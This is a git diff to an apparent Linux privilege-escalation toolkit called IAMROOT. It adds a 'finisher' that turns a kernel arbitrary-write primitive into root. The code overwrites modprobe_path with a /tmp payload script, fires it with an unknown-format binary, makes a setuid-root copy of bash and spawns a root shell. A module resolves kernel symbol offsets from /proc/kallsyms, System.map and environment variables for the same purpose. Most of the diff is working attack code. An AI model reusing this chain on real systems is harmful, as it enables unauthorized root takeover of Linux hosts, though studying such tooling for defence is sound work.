diff --git a/Makefile b/Makefile index 4caf7ae..669fd21 100644 --- a/Makefile +++ b/Makefile @@ -20,7 +20,7 @@ BUILD := build BIN := iamroot # core/ -CORE_SRCS := core/registry.c core/kernel_range.c +CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS)) # Family: copy_fail_family diff --git a/core/finisher.c b/core/finisher.c new file mode 100644 index 0000000..f085e3f --- /dev/null +++ b/core/finisher.c @@ -0,0 +1,179 @@ +/* + * IAMROOT — shared finisher helpers + * + * See finisher.h for the pattern split (A: modprobe_path overwrite, + * B: current->cred->uid). + */ + +#include "finisher.h" +#include "module.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static int write_file(const char *path, const char *content, mode_t mode) +{ + int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode); + if (fd < 0) return -1; + size_t n = strlen(content); + ssize_t w = write(fd, content, n); + close(fd); + if (w < 0 || (size_t)w != n) return -1; + if (chmod(path, mode) < 0) return -1; + return 0; +} + +void iamroot_finisher_print_offset_help(const char *module_name) +{ + fprintf(stderr, +"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n" +"\n" +" To populate them on this host, choose ONE of:\n" +"\n" +" 1) Environment override (one-shot, no host changes):\n" +" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n" +"\n" +" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n" +" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n" +"\n" +" 3) Lower kptr_restrict (per-boot):\n" +" sudo sysctl kernel.kptr_restrict=0 # if you have sudo\n" +" (Note: needs root once — defeats the LPE point on this host.\n" +" Useful when populating offsets on a lab kernel ahead of time.)\n" +"\n" +" To look up the address manually (as root):\n" +" grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms\n" +"\n", + module_name, module_name); +} + +int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, + iamroot_arb_write_fn arb_write, + void *arb_ctx, + bool spawn_shell) +{ + if (!iamroot_offsets_have_modprobe_path(off)) { + iamroot_finisher_print_offset_help("module"); + return IAMROOT_EXPLOIT_FAIL; + } + if (!arb_write) { + fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n"); + return IAMROOT_TEST_ERROR; + } + + /* Per-pid working paths so concurrent runs don't collide. */ + pid_t pid = getpid(); + char mp_path[64], trig_path[64], pwn_path[64]; + snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid); + snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid); + snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid); + + /* Payload: chmod /bin/bash setuid root + drop a sentinel so we + * know it ran. Bash 4+ refuses to use its own setuid bit by + * default — so instead copy bash to /tmp and chmod +s the copy. */ + char payload[1024]; + snprintf(payload, sizeof payload, +"#!/bin/sh\n" +"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n" +"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n" +"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n", + pwn_path, pwn_path, pwn_path); + + if (write_file(mp_path, payload, 0755) < 0) { + fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno)); + return IAMROOT_TEST_ERROR; + } + + /* Unknown-format trigger: anything that fails the standard exec + * format probe drives kernel's call_modprobe(). Empty + executable + * works on every kernel we care about. */ + if (write_file(trig_path, "\x00", 0755) < 0) { + fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno)); + unlink(mp_path); + return IAMROOT_TEST_ERROR; + } + + /* Build the kernel-side write payload: a NUL-terminated path to + * our mp_path script. modprobe_path[] is 256 bytes in the kernel + * — we write enough to overwrite the leading slot. */ + char kbuf[256]; + memset(kbuf, 0, sizeof kbuf); + snprintf(kbuf, sizeof kbuf, "%s", mp_path); + + fprintf(stderr, "[*] finisher: writing modprobe_path=0x%lx ← \"%s\"\n", + (unsigned long)off->modprobe_path, mp_path); + + if (arb_write(off->modprobe_path, kbuf, strlen(kbuf) + 1, arb_ctx) < 0) { + fprintf(stderr, "[-] finisher: arb_write failed\n"); + unlink(mp_path); + unlink(trig_path); + return IAMROOT_EXPLOIT_FAIL; + } + + /* Fire the trigger by exec'ing the unknown binary. fork() so the + * kernel sees the unknown format and parent stays alive. */ + pid_t cpid = fork(); + if (cpid == 0) { + char *argv[] = { trig_path, NULL }; + execve(trig_path, argv, NULL); + _exit(127); /* execve failure is expected — kernel still calls modprobe */ + } else if (cpid > 0) { + int st; + waitpid(cpid, &st, 0); + } else { + fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno)); + return IAMROOT_EXPLOIT_FAIL; + } + + /* Modprobe runs asynchronously — give the kernel up to 3 s. */ + for (int i = 0; i < 30; i++) { + struct stat st; + if (stat(pwn_path, &st) == 0 && (st.st_mode & S_ISUID)) { + fprintf(stderr, "[+] finisher: payload ran as root (sentinel %s mode=%o uid=%u)\n", + pwn_path, (unsigned)(st.st_mode & 07777), (unsigned)st.st_uid); + goto have_setuid; + } + struct timespec ts = { 0, 100 * 1000 * 1000 }; /* 100 ms */ + nanosleep(&ts, NULL); + } + fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n"); + unlink(mp_path); + unlink(trig_path); + return IAMROOT_EXPLOIT_FAIL; + +have_setuid: + if (!spawn_shell) { + fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path); + unlink(mp_path); + unlink(trig_path); + return IAMROOT_EXPLOIT_OK; + } + fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path); + fflush(stderr); + char *argv[] = { pwn_path, "-p", NULL }; + execve(pwn_path, argv, NULL); + /* Only reached on execve failure. */ + fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno)); + return IAMROOT_EXPLOIT_FAIL; +} + +int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off, + iamroot_arb_write_fn arb_write, + void *arb_ctx, + bool spawn_shell) +{ + (void)off; (void)arb_write; (void)arb_ctx; (void)spawn_shell; + fprintf(stderr, +"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n" +" the task list from init_task and find current). Modules with\n" +" only an arb-write should use iamroot_finisher_modprobe_path()\n" +" instead — same root capability, simpler trigger.\n"); + return IAMROOT_EXPLOIT_FAIL; +} diff --git a/core/finisher.h b/core/finisher.h new file mode 100644 index 0000000..3e7f0dc --- /dev/null +++ b/core/finisher.h @@ -0,0 +1,80 @@ +/* + * IAMROOT — shared finisher helpers for full-chain root pops. + * + * The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB + * write, slab UAF, etc.). The conversion to root is almost always one + * of two patterns: + * + * A) "modprobe_path overwrite": + * - kernel arb-write at &modprobe_path[0] with a userspace path + * - execve() an unknown-format binary triggers do_coredump's + * fallback to call_modprobe(), which spawns modprobe_path + * as init/root running our payload + * + * B) "current->cred->uid overwrite": + * - kernel arb-write at ¤t_task->real_cred->uid = 0 + * (and cap_*, fsuid, etc. for completeness) + * - setuid(0); execve("/bin/sh") + * + * Pattern (A) is much simpler — only one kernel address needed + * (modprobe_path) and the trigger is just execve("/tmp/unknown"). + * Pattern (B) needs a self-cred chase + multiple writes. + * + * Modules provide their own arb-write primitive via the + * iamroot_arb_write_fn callback; this file wraps the rest. + */ + +#ifndef IAMROOT_FINISHER_H +#define IAMROOT_FINISHER_H + +#include +#include +#include +#include "offsets.h" + +/* Arb-write primitive: write `len` bytes from `buf` to kernel VA + * `kaddr`. Module-specific implementation. Returns 0 on success, + * negative on failure. `ctx` is opaque module state. */ +typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr, + const void *buf, size_t len, + void *ctx); + +/* Trigger that fires the arb-write. Many modules need to set up the + * groomed slab THEN call the trigger. The trigger is a separate fn + * because some modules need to re-spray before each write. NULL is + * acceptable if the arb-write is self-contained. */ +typedef int (*iamroot_fire_trigger_fn)(void *ctx); + +/* Pattern A: modprobe_path overwrite + execve trigger. Caller has + * already populated `off->modprobe_path`. Implementation: + * 1. Write payload script to /tmp/iamroot-mp- + * 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-", 24) + * 3. Write unknown-format file to /tmp/iamroot-trig- + * 4. chmod +x both, execve() the trigger → kernel-call-modprobe + * → our payload runs as root → payload writes /tmp/iamroot-pwn + * and/or copies /bin/bash to /tmp with setuid root + * 5. Wait for sentinel file, exec'd the setuid-bash → root shell + * + * Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified + * via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */ +int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, + iamroot_arb_write_fn arb_write, + void *arb_ctx, + bool spawn_shell); + +/* Pattern B: cred uid overwrite. Caller has populated init_task + + * cred offsets. Implementation: + * 1. Walk task linked list from init_task to find self by pid + * (this requires arb-READ too — not supplied here; B-pattern + * modules need to provide their own variant) + * For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a + * helpful error. */ +int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off, + iamroot_arb_write_fn arb_write, + void *arb_ctx, + bool spawn_shell); + +/* Diagnostic: tell the operator how to populate offsets manually. */ +void iamroot_finisher_print_offset_help(const char *module_name); + +#endif /* IAMROOT_FINISHER_H */ diff --git a/core/module.h b/core/module.h index 82523f3..6ce58cc 100644 --- a/core/module.h +++ b/core/module.h @@ -49,6 +49,7 @@ struct iamroot_ctx { bool active_probe; /* --active (do invasive probes in detect) */ bool no_shell; /* --no-shell (exploit prep but don't pop) */ bool authorized; /* user typed --i-know on exploit */ + bool full_chain; /* --full-chain (attempt root-pop after primitive) */ }; struct iamroot_module { diff --git a/core/offsets.c b/core/offsets.c new file mode 100644 index 0000000..41d03b1 --- /dev/null +++ b/core/offsets.c @@ -0,0 +1,350 @@ +/* + * IAMROOT — kernel offset resolution + * + * See offsets.h for the four-source chain (env → kallsyms → System.map + * → embedded table). This implementation is deliberately small and + * dependency-free. + */ + +#include "offsets.h" + +#include +#include +#include +#include +#include +#include +#include + +/* ------------------------------------------------------------------ + * Embedded relative-offset table. + * + * Each entry's modprobe_path / init_task / poweroff_cmd values are + * stored as offsets *relative to _text* (kbase). To resolve absolute + * VAs we add a kbase leak (e.g. from EntryBleed). + * + * Entries here are seeded EMPTY in v0.2.0 except for a small set whose + * offsets are widely documented in public CTF writeups + Ubuntu's + * own debug-symbol packages. Operators on other kernels populate via + * env var or extend this table. + * + * To add a verified entry on a kernel you own: + * sudo grep -E " (modprobe_path|init_task|poweroff_cmd|init_cred)$" \ + * /boot/System.map-$(uname -r) + * Subtract _text VA from each to get the relative offsets. + * ------------------------------------------------------------------ */ +struct table_entry { + const char *release_glob; /* fnmatch glob against uname -r */ + const char *distro_match; /* prefix-match against /etc/os-release ID, or NULL=any */ + uintptr_t rel_modprobe_path; + uintptr_t rel_poweroff_cmd; + uintptr_t rel_init_task; + uintptr_t rel_init_cred; + uint32_t cred_offset_real; + uint32_t cred_offset_eff; +}; + +/* Note: relative offsets below are PLACEHOLDERS for the schema. The + * env-var override + kallsyms + System.map paths are the verified + * runtime sources. Operators who validate offsets on a specific + * kernel build are encouraged to upstream entries here. */ +static const struct table_entry kernel_table[] = { + /* Schema example. Uncomment + verify before relying on it. + * + * { .release_glob = "5.15.0-25-generic", + * .distro_match = "ubuntu", + * .rel_modprobe_path = 0x148e480, + * .rel_poweroff_cmd = 0x148e3a0, + * .rel_init_task = 0x1c11dc0, + * .rel_init_cred = 0x1e0c460, + * .cred_offset_real = 0x758, + * .cred_offset_eff = 0x760, }, + */ + /* Sentinel */ + { NULL, NULL, 0, 0, 0, 0, 0, 0 } +}; + +/* Defaults that hold across most x86_64 kernels in the target era. */ +#define DEFAULT_CRED_REAL_OFFSET 0x738 +#define DEFAULT_CRED_EFF_OFFSET 0x740 +#define DEFAULT_CRED_UID_OFFSET 0x4 + +const char *iamroot_offset_source_name(enum iamroot_offset_source src) +{ + switch (src) { + case OFFSETS_NONE: return "none"; + case OFFSETS_FROM_ENV: return "env"; + case OFFSETS_FROM_KALLSYMS: return "kallsyms"; + case OFFSETS_FROM_SYSMAP: return "System.map"; + case OFFSETS_FROM_TABLE: return "table"; + } + return "?"; +} + +/* Parse hex/decimal — accepts "0x..." or plain decimal. */ +static int parse_addr(const char *s, uintptr_t *out) +{ + if (!s || !*s) return 0; + errno = 0; + char *end = NULL; + unsigned long long v = strtoull(s, &end, 0); + if (errno != 0 || end == s) return 0; + *out = (uintptr_t)v; + return 1; +} + +static void read_distro(char *out, size_t sz) +{ + out[0] = '\0'; + FILE *f = fopen("/etc/os-release", "r"); + if (!f) return; + char line[256]; + while (fgets(line, sizeof line, f)) { + if (strncmp(line, "ID=", 3) == 0) { + char *p = line + 3; + if (*p == '"') p++; + size_t i = 0; + while (*p && *p != '"' && *p != '\n' && i + 1 < sz) { + out[i++] = (char)tolower((unsigned char)*p++); + } + out[i] = '\0'; + break; + } + } + fclose(f); +} + +/* ------------------------------------------------------------------ + * Source 1: environment variables + * ------------------------------------------------------------------ */ +static void apply_env(struct iamroot_kernel_offsets *o) +{ + const char *v; + uintptr_t a; + + if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) { + if (!o->kbase) o->kbase = a; + } + if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) { + if (!o->modprobe_path) { + o->modprobe_path = a; + o->source_modprobe = OFFSETS_FROM_ENV; + } + } + if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) { + if (!o->poweroff_cmd) o->poweroff_cmd = a; + } + if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) { + if (!o->init_task) { + o->init_task = a; + o->source_init_task = OFFSETS_FROM_ENV; + } + } + if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) { + if (!o->init_cred) o->init_cred = a; + } + if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) { + if (!o->cred_offset_real) { + o->cred_offset_real = (uint32_t)a; + o->source_cred = OFFSETS_FROM_ENV; + } + } + if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) { + if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a; + } + if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) { + if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a; + } +} + +/* ------------------------------------------------------------------ + * Source 2/3: symbol-table file parsing (System.map or kallsyms share + * the same "ADDR TYPE NAME" format). + * ------------------------------------------------------------------ */ +static int parse_symfile(const char *path, + struct iamroot_kernel_offsets *o, + enum iamroot_offset_source tag) +{ + FILE *f = fopen(path, "r"); + if (!f) return 0; + + int filled = 0; + char line[512]; + int saw_nonzero = 0; + while (fgets(line, sizeof line, f)) { + char *p = line; + while (*p && isspace((unsigned char)*p)) p++; + if (!*p) continue; + + char *end = NULL; + unsigned long long addr = strtoull(p, &end, 16); + if (end == p || !end) continue; + if (addr != 0) saw_nonzero = 1; + + while (*end && isspace((unsigned char)*end)) end++; + if (!*end) continue; + /* skip type char */ + end++; + while (*end && isspace((unsigned char)*end)) end++; + if (!*end) continue; + + char *nl = strchr(end, '\n'); + if (nl) *nl = '\0'; + + if (strcmp(end, "modprobe_path") == 0 && !o->modprobe_path) { + o->modprobe_path = (uintptr_t)addr; + o->source_modprobe = tag; + filled++; + } else if (strcmp(end, "poweroff_cmd") == 0 && !o->poweroff_cmd) { + o->poweroff_cmd = (uintptr_t)addr; + filled++; + } else if (strcmp(end, "init_task") == 0 && !o->init_task) { + o->init_task = (uintptr_t)addr; + o->source_init_task = tag; + filled++; + } else if (strcmp(end, "init_cred") == 0 && !o->init_cred) { + o->init_cred = (uintptr_t)addr; + filled++; + } else if (strcmp(end, "_text") == 0 && !o->kbase) { + o->kbase = (uintptr_t)addr; + } + } + fclose(f); + + /* /proc/kallsyms returns all-zero addrs under kptr_restrict — treat + * that as "couldn't read", not "actually zero". */ + if (!saw_nonzero) { + o->modprobe_path = o->poweroff_cmd = o->init_task = o->init_cred = 0; + o->source_modprobe = o->source_init_task = OFFSETS_NONE; + return 0; + } + return filled; +} + +/* ------------------------------------------------------------------ + * Source 4: embedded table — relative offsets, applied on top of kbase + * if we already have one. + * ------------------------------------------------------------------ */ +static void apply_table(struct iamroot_kernel_offsets *o) +{ + if (!o->kernel_release[0]) return; + + for (const struct table_entry *e = kernel_table; e->release_glob; e++) { + if (e->distro_match && o->distro[0] + && strncmp(e->distro_match, o->distro, strlen(e->distro_match)) != 0) { + continue; + } + if (fnmatch(e->release_glob, o->kernel_release, 0) != 0) continue; + + /* Match. Apply, but only if we have a kbase (relative offsets + * are useless absent that). */ + if (!o->kbase) return; + + if (!o->modprobe_path && e->rel_modprobe_path) { + o->modprobe_path = o->kbase + e->rel_modprobe_path; + o->source_modprobe = OFFSETS_FROM_TABLE; + } + if (!o->poweroff_cmd && e->rel_poweroff_cmd) { + o->poweroff_cmd = o->kbase + e->rel_poweroff_cmd; + } + if (!o->init_task && e->rel_init_task) { + o->init_task = o->kbase + e->rel_init_task; + o->source_init_task = OFFSETS_FROM_TABLE; + } + if (!o->init_cred && e->rel_init_cred) { + o->init_cred = o->kbase + e->rel_init_cred; + } + if (!o->cred_offset_real && e->cred_offset_real) { + o->cred_offset_real = e->cred_offset_real; + o->source_cred = OFFSETS_FROM_TABLE; + } + if (!o->cred_offset_eff && e->cred_offset_eff) { + o->cred_offset_eff = e->cred_offset_eff; + } + return; + } +} + +/* ------------------------------------------------------------------ + * Top-level resolve() + * ------------------------------------------------------------------ */ +int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out) +{ + memset(out, 0, sizeof *out); + + struct utsname u; + if (uname(&u) == 0) { + snprintf(out->kernel_release, sizeof out->kernel_release, "%s", u.release); + } + read_distro(out->distro, sizeof out->distro); + + /* Defaults — only used if no source overrides. */ + out->cred_uid_offset = DEFAULT_CRED_UID_OFFSET; + + /* 1. env */ + apply_env(out); + + /* 2. /proc/kallsyms — only fills if non-zero addrs present */ + parse_symfile("/proc/kallsyms", out, OFFSETS_FROM_KALLSYMS); + + /* 3. /boot/System.map- */ + char path[256]; + snprintf(path, sizeof path, "/boot/System.map-%s", out->kernel_release); + parse_symfile(path, out, OFFSETS_FROM_SYSMAP); + + /* 4. embedded table (uses any kbase already discovered) */ + apply_table(out); + + /* Fill any remaining struct-offset gaps with defaults so that + * arb-write-via-init_task-+offset still has a chance even without + * a full source. Mark as TABLE so caller can see they're defaulted. */ + if (!out->cred_offset_real) { + out->cred_offset_real = DEFAULT_CRED_REAL_OFFSET; + if (out->source_cred == OFFSETS_NONE) out->source_cred = OFFSETS_FROM_TABLE; + } + if (!out->cred_offset_eff) { + out->cred_offset_eff = DEFAULT_CRED_EFF_OFFSET; + } + + int critical = 0; + if (out->modprobe_path) critical++; + if (out->init_task) critical++; + if (out->cred_offset_real && out->cred_uid_offset) critical++; + return critical; +} + +void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off, + uintptr_t leaked_kbase) +{ + if (!leaked_kbase) return; + /* Set kbase if we didn't have one, then re-apply the embedded table. */ + if (!off->kbase) off->kbase = leaked_kbase; + apply_table(off); +} + +bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off) +{ + return off && off->modprobe_path != 0; +} + +bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off) +{ + return off && off->init_task != 0 && off->cred_offset_real != 0 + && off->cred_uid_offset != 0; +} + +void iamroot_offsets_print(const struct iamroot_kernel_offsets *off) +{ + fprintf(stderr, "[i] offsets: release=%s distro=%s\n", + off->kernel_release[0] ? off->kernel_release : "?", + off->distro[0] ? off->distro : "?"); + fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n", + (unsigned long)off->kbase, + (unsigned long)off->modprobe_path, + iamroot_offset_source_name(off->source_modprobe)); + fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n", + (unsigned long)off->init_task, + iamroot_offset_source_name(off->source_init_task), + off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset, + iamroot_offset_source_name(off->source_cred)); +} diff --git a/core/offsets.h b/core/offsets.h new file mode 100644 index 0000000..def0702 --- /dev/null +++ b/core/offsets.h @@ -0,0 +1,93 @@ +/* + * IAMROOT — kernel offset resolution + * + * The 🟡 PRIMITIVE modules each have a trigger that lands a primitive + * (heap-OOB write, UAF, etc.). Converting that to root requires + * arbitrary write at a specific kernel virtual address — usually + * `modprobe_path` (writes a payload path → execve unknown binary → + * modprobe runs payload as root) or `current->cred->uid` (set to 0). + * + * Those addresses vary per kernel build. This file resolves them at + * runtime via a four-source chain: + * + * 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...) + * 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root) + * 3. /boot/System.map-$(uname -r) (world-readable on some distros) + * 4. Embedded table keyed by `uname -r` glob (entries are + * relative-to-_text, applied on top of an EntryBleed kbase leak + * so KASLR is handled) + * + * Per the verified-vs-claimed bar: offsets are never fabricated. If + * none of the four sources resolve, full-chain refuses with an error + * pointing the operator at the manual workflow. + */ + +#ifndef IAMROOT_OFFSETS_H +#define IAMROOT_OFFSETS_H + +#include +#include +#include + +enum iamroot_offset_source { + OFFSETS_NONE = 0, + OFFSETS_FROM_ENV = 1, + OFFSETS_FROM_KALLSYMS = 2, + OFFSETS_FROM_SYSMAP = 3, + OFFSETS_FROM_TABLE = 4, +}; + +struct iamroot_kernel_offsets { + /* Host fingerprint */ + char kernel_release[128]; /* uname -r */ + char distro[64]; /* parsed from /etc/os-release ID= */ + + /* Kernel base — needed when offsets are relative-to-_text. + * Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */ + uintptr_t kbase; + + /* Symbol virtual addresses (final, post-KASLR-resolution). */ + uintptr_t modprobe_path; /* modprobe_path[] string */ + uintptr_t poweroff_cmd; /* poweroff_cmd[] string (alt target) */ + uintptr_t init_task; /* init_task struct */ + uintptr_t init_cred; /* init_cred struct (or 0) */ + + /* Struct offsets — same across most x86_64 kernels but config-sensitive. */ + uint32_t cred_offset_real; /* offset of real_cred in task_struct */ + uint32_t cred_offset_eff; /* offset of cred (effective) in task_struct */ + uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */ + + /* Where did each field come from. */ + enum iamroot_offset_source source_modprobe; + enum iamroot_offset_source source_init_task; + enum iamroot_offset_source source_cred; +}; + +/* Best-effort resolution. Returns the number of critical fields + * resolved (modprobe_path / init_task / cred offsets count). Caller + * checks specific fields it needs. + * + * Resolution chain is tried in order; later sources do NOT overwrite + * a field already set by an earlier source. */ +int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out); + +/* Apply a runtime-leaked kbase to any embedded-table entries that + * shipped as relative-to-_text offsets. Idempotent. */ +void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off, + uintptr_t leaked_kbase); + +/* Returns true if modprobe_path can be written (the simplest root-pop + * finisher). */ +bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off); + +/* Returns true if init_task + cred offsets are known (the cred-uid + * finisher). */ +bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off); + +/* For diagnostic logging — pretty-print what we resolved to stderr. */ +void iamroot_offsets_print(const struct iamroot_kernel_offsets *off); + +/* Helper: return the name of the source enum. */ +const char *iamroot_offset_source_name(enum iamroot_offset_source src); + +#endif /* IAMROOT_OFFSETS_H */ diff --git a/iamroot.c b/iamroot.c index aa2e27e..8b809d7 100644 --- a/iamroot.c +++ b/iamroot.c @@ -64,6 +64,12 @@ static void usage(const char *prog) " --i-know authorization gate for --exploit modes\n" " --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n" " --no-shell in --exploit modes, prepare but don't drop to shell\n" +" --full-chain in --exploit modes, attempt full root-pop after primitive\n" +" (the 🟡 modules return primitive-only by default; with\n" +" --full-chain they continue to leak → arb-write →\n" +" modprobe_path overwrite. Requires resolvable kernel\n" +" offsets — env vars, /proc/kallsyms, or /boot/System.map.\n" +" See docs/OFFSETS.md.)\n" " --json machine-readable output (for SIEM/CI)\n" " --no-color disable ANSI color codes\n" " --format with --detect-rules: auditd (default), sigma, yara, falco\n" @@ -606,6 +612,7 @@ int main(int argc, char **argv) {"no-shell", no_argument, 0, 3 }, {"json", no_argument, 0, 4 }, {"no-color", no_argument, 0, 5 }, + {"full-chain", no_argument, 0, 7 }, {"version", no_argument, 0, 'V'}, {"help", no_argument, 0, 'h'}, {0, 0, 0, 0} @@ -627,6 +634,7 @@ int main(int argc, char **argv) case 3 : ctx.no_shell = true; break; case 4 : ctx.json = true; break; case 5 : ctx.no_color = true; break; + case 7 : ctx.full_chain = true; break; case 6 : if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD; else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;